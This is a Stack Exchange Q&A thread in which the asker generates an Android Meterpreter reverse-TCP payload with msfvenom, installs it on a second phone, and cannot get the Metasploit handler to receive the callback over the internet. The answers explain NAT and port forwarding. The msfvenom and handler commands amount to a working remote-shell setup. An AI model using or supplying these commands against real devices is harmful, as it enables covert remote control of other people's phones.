0

First of all, this is my first post, so please don't ignore this. You may have seen this question before. Before marking this as duplicate please understand my problems. I have many issues. I'm using this for an educational purpose.

please note the following:

  1. I don't have a router.
  2. I have installed Kali 2.0(sana).
  3. I use my Android mobile to connect to INTERNET via USB tethering.

Now, I will explain what have done.

first of all I created an Android payload

msfvenom -p android/meterpreter/reverse_tcp LHOST=xxx.xxx.net LPORT=4444 -o test1.apk

xxx.xxx.net is my no-ip registered dns(hidden with x); then I successfully signed it.

Now, I sent it to another Android device via Bluetooth (so my device's IP address didn't change in the process. It is not connected to the LAN either) then I successfully installed it.

ifconfig:

# ifconfig
eth0      Link encap:Ethernet  HWaddr 78:24:af:bc:a8:a2  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1072 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1072 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:87360 (85.3 KiB)  TX bytes:87360 (85.3 KiB)

usb0      Link encap:Ethernet  HWaddr 42:c8:eb:7b:43:a9  
          inet addr:192.168.42.50  Bcast:192.168.42.255  Mask:255.255.255.0
          inet6 addr: fe80::40c8:ebff:fe7b:43a9/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:20535 errors:21 dropped:0 overruns:0 frame:21
          TX packets:23085 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11073420 (10.5 MiB)  TX bytes:3833297 (3.6 MiB)

then I opened the terminal.

# msfconsole


 _____________

msf > use exploit/multi/handler
msf exploit(handler) 
set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler)
set lhost 192.168.42.50
lhost => 192.168.42.50
msf exploit(handler) 
set lport 4444
lport => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.42.50:4444 
[*] Starting the payload handler...

Once I opened the app in the target mobile nothing is received in the metasploit terminal.

However the same works fine over LAN. but when it comes to Internet it fails. I have tried almost all I can do, but in vain.

I found that the ports are opened in the local IP address.

# nmap 192.168.42.50

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-03-27 22:53 IST
Nmap scan report for kali (192.168.42.50)
Host is up (0.0000070s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
4444/tcp open  krb524

Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds

but they are closed in the no-ip registered DNS.

# nmap xxx.xxx.net

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-03-27 22:55 IST
Nmap scan report for xxx.xxx.net (a.b.c.d)
Host is up (0.22s latency).

rDNS record for a.b.c.d: static-a-b-c-d.ctrls.in

Not shown: 990 closed ports

PORT     STATE    SERVICE

21/tcp   filtered ftp
53/tcp   filtered domain
80/tcp   open     http
111/tcp  open     rpcbind
443/tcp  open     https
445/tcp  filtered microsoft-ds
554/tcp  filtered rtsp
1723/tcp filtered pptp
3306/tcp open     mysql
8022/tcp open     oa-system

Nmap done: 1 IP address (1 host up) scanned in 144.05 seconds

note: a.b.c.d is the resolved IP address of my DNS

So how exactly can I establish a successful connection?

If you think anyway this question is off-topic or something else please suggest me a solution somehow.

migrated from security.stackexchange.com Mar 27 '16 at 18:39

This question came from our site for information security professionals.

  • 3
    I'd suggest that the reason that what you're doing isn't working is that you need to forward the port from your Internet facing IP address to your mobile phone. the IP address in your question for the mobile phone is a non Internet routable one (192.168.42.50) so if you want a host on the Internet to be able to connect to the port on your system you need to get port forwarding working. Depending on the level of control you have over your network, this may or may not be possible. – Rоry McCune Mar 27 '16 at 18:34
  • @Roy McCune do you say that whatever I do it wont work? – Joe_Vj _95 Mar 28 '16 at 1:03
  • 1
    @Joe_Vj_95 Yes. Short of you getting a properly routed Internet address from your provider (or over a VPN) that is what he is saying. Your provider is using some kind of NAT to provide partial Internet connectivity to your phone. You need full connectivity. – davidgo Mar 28 '16 at 2:17
0

You DO have a router - your phone. Your phone routes between 192.168. addresses and internet addresses. The thing is, you haven't port forwarded on your phone. It's likely possible, but it won't be easy. You'll probably need root access and use iptables. At that point you'll probably want to ask on android.se, where you'll probably get a better answer.

Note: This sounds like an XY problem. What is the purpose of this? There is likely a better way to do what you want.

0

ok let me take a swing at answering this, but first I'll re-state what I think you're trying to achieve, to make sure I'm not mis-understanding things.

You have a system with Kali linux, which gets Internet access via a USB tethered mobile phone which provides an RFC1918 (i.e. not Internet routable) address of 192.168.42.50.

You're setting up an android reverse shell using metasploit specifying your Internet routable address

Then using exploit/multi/handler to listen on port 4444 on your local non-routable address.

The problem is that whilst you can see your port listening on the local LAN, you can't see it from an Internet connected device when the payload is delivered.

Port scanning on the Internet routable address shows no open ports.

--

Assuming all that's correct then the problem is that you haven't configured "port forwarding" from the Internet address to your local metasploit instance.

The way this would usually be done is, where you have control of the device which has the Internet address on one of it's interfaces, you tell it to forward port 4444/TCP from that interface to your internal system on 192.168.42.50.

If you can set this up , then what you're describing should work. If you have no access to create a "port forward", then what you are describing will not work, as the target running the exploit on the Internet has nothing to connect to.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.